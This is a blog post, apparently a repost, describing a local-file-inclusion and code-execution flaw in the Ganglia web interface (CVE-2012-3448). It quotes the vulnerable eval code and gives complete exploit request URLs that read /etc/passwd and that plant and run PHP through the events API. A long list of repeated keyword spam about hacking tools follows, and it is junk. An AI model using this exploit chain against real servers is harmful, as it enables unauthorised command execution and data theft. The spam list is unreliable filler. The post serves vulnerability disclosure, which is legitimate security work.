http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Continue reading
- World No 1 Hacker Software
- Github Hacking Tools
- Black Hat Hacker Tools
- Hack Tools For Pc
- Hacking Tools 2019
- Pentest Tools For Mac
- Hacking Tools Free Download
- Hacking Tools Github
- Hackers Toolbox
- How To Hack
- Pentest Tools For Android
- Pentest Tools Online
- Hacking Tools Name
- Pentest Box Tools Download
- Hacking App
- How To Make Hacking Tools
- Physical Pentest Tools
- Pentest Tools Apk
- Github Hacking Tools
- Hacking Tools Mac
- Hacking Tools Windows 10
- New Hack Tools
- Hacking App
- Pentest Tools For Android
- Hacker
- Hacker Tools
- Termux Hacking Tools 2019
- Hacking Tools Github
- Physical Pentest Tools
- Ethical Hacker Tools
- Hacker Hardware Tools
- Hacker Tools Software
- Pentest Tools Nmap
- Hacker Tools Free
- Pentest Tools Linux
- Pentest Tools For Windows
- Hacker Security Tools
- Hacking Apps
- World No 1 Hacker Software
- Pentest Tools List
- Pentest Tools Kali Linux
- Hacker Tools Online
- Pentest Tools Bluekeep
- Hacker Tools Linux
- Best Pentesting Tools 2018
- Hack Tools 2019
- Hack Tool Apk
- Hack Tools Mac
- Hacker Tools For Pc
- Nsa Hack Tools Download
- Hacking Tools For Windows
- Pentest Tools Find Subdomains
- Hack Tools For Mac
- Hack Tools Github
- Pentest Tools Find Subdomains
- Pentest Tools For Windows
- Growth Hacker Tools
- Pentest Tools
- Hack Tools For Mac
- Hackrf Tools
- Nsa Hack Tools
- Pentest Tools Download
- Pentest Tools Subdomain
- Growth Hacker Tools
- Hacking Tools Windows 10
- Hacker Tools 2019
- Pentest Tools Free
- Hack Tools 2019
- Hack Tools
- Game Hacking
- New Hacker Tools
- Hack Tools Mac
- Pentest Tools Kali Linux
- Best Hacking Tools 2020
- Hacking Tools For Windows
- Hacker Tools For Pc
- Termux Hacking Tools 2019
- Hacking App
- Hack Tools Online
- Pentest Tools Nmap
- Hacking Tools For Kali Linux
- Hacking Tools Usb
- Hacking Apps
- Hackers Toolbox
- Pentest Tools Github
- Hack Tools For Mac
- Pentest Tools List
- Hacking Tools Windows 10
- Pentest Tools Free
- Pentest Tools Bluekeep
- Hacks And Tools
- Hacking Tools For Windows 7
- Pentest Tools Website
- Computer Hacker
- Hacker Tools Hardware
- Hack Tools Download
- Wifi Hacker Tools For Windows
- Hack Tool Apk
- Hacking Tools For Windows
- Nsa Hacker Tools
- Hacker
- Hacks And Tools
- Pentest Tools Kali Linux
- Physical Pentest Tools
- Hacking Tools
- Hacker Tools Free Download
- Pentest Tools Alternative
- Hacks And Tools
- Pentest Tools Linux
- Hacker Tools Apk
- Install Pentest Tools Ubuntu
- Hack Tools Online
- Underground Hacker Sites
- Beginner Hacker Tools
- Hack Tools For Games
- Hack App
- Hacking Tools Pc
- Hack Tools Online
- Hacker Tools Github
- Hacking Tools For Windows 7
- What Are Hacking Tools
- Hacker Tool Kit
- Hack And Tools
- Underground Hacker Sites
- Hacking Tools Kit
- Hack Tools Pc
- Hack Apps
- Hacking Tools Windows 10
- Hacking Tools Mac
- Usb Pentest Tools
- Hacking Tools For Windows
- Hack App
- Black Hat Hacker Tools
- Hak5 Tools
- Hacking Tools For Pc
- Hack Tools Online
- Pentest Tools
- Hacking Tools Pc
- Top Pentest Tools
- What Are Hacking Tools
- Pentest Tools Website
- Tools 4 Hack
- Hacker Tools 2019
- Hacker Tools For Ios
- Hacker Tool Kit
- Hacking Tools For Kali Linux
- Hack Tools For Games
- Hacker Search Tools
- Hacking Tools 2020
- Github Hacking Tools
- Pentest Tools
- Best Pentesting Tools 2018
- Pentest Tools List
- Hack Tools Online
- Hacker Hardware Tools
- Best Pentesting Tools 2018
- Hack Rom Tools
- Pentest Tools For Android
- Pentest Tools Github
- Hackers Toolbox
- Pentest Tools For Ubuntu
- Pentest Tools For Ubuntu
- Hacker Tools Online
- Hacker Tools Apk Download
- What Is Hacking Tools
- Pentest Tools Free
- Hacker Tools For Pc
- Hackers Toolbox
No comments:
Post a Comment